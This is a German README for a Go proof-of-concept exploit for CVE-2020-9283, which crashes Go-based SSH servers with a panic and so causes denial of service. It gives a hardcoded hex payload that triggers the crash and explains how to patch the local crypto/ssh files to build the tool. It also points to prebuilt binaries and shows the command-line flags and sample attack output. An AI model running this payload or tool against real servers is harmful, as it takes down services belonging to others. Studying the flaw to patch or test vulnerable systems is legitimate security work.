
Exploit für CVE-2020-9283 basierend auf Go
Dieses Projekt ist vom ursprünglichen POC hier github.com/mark-adams/exploits/CVE-2020-9283 inspiriert. Ich war neugierig, wie die Go-SSH-Bibliothek implementiert ist, und habe mich daher entschieden, den PoC mit Go umzusetzen.
Eine kurze Beschreibung findet sich hier https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Dies löst einen Panic auf einem Go-basierten SSH-Server aus, was zu einem DoS führen kann.
Ich habe Binärdateien im Release-Bereich veröffentlicht, Sie können jedoch Ihre eigenen mit dem beigefügten Quellcode neu erstellen.
Ich habe mich entschieden, die Go-Crypto-Bibliothek direkt auf meinem System zu modifizieren, um zu verstehen, wie sie funktioniert. Das ist nicht ideal und wahrscheinlich nicht der beste Weg, aber es funktioniert ;) Wenn Sie mit GO-Modulen neu erstellen möchten, ersetzen Sie den Inhalt der Dateien Crypto/ssh/client_auth.go, handshake.go, transport.go auf Ihrem lokalen System durch die ".bak"-Dateien hier. Diese modifizierten Dateien enthalten ausführliche Debug-Ausgaben und eine hartcodierte Payload von "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161", die den Panic auslöst.
Sie werden viele Debug-Ausgaben und "errors" sehen, das ist zu erwarten. Wenn Ihr Ziel einen Panic ausgelöst hat, sollten Sie Fehler im Zusammenhang mit "bad key lengths" sehen. Wenn Sie dies lokal testen möchten, verwenden Sie den verwundbaren Code, der hier github.com/mark-adams/exploits/CVE-2020-9283 zu finden ist.
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'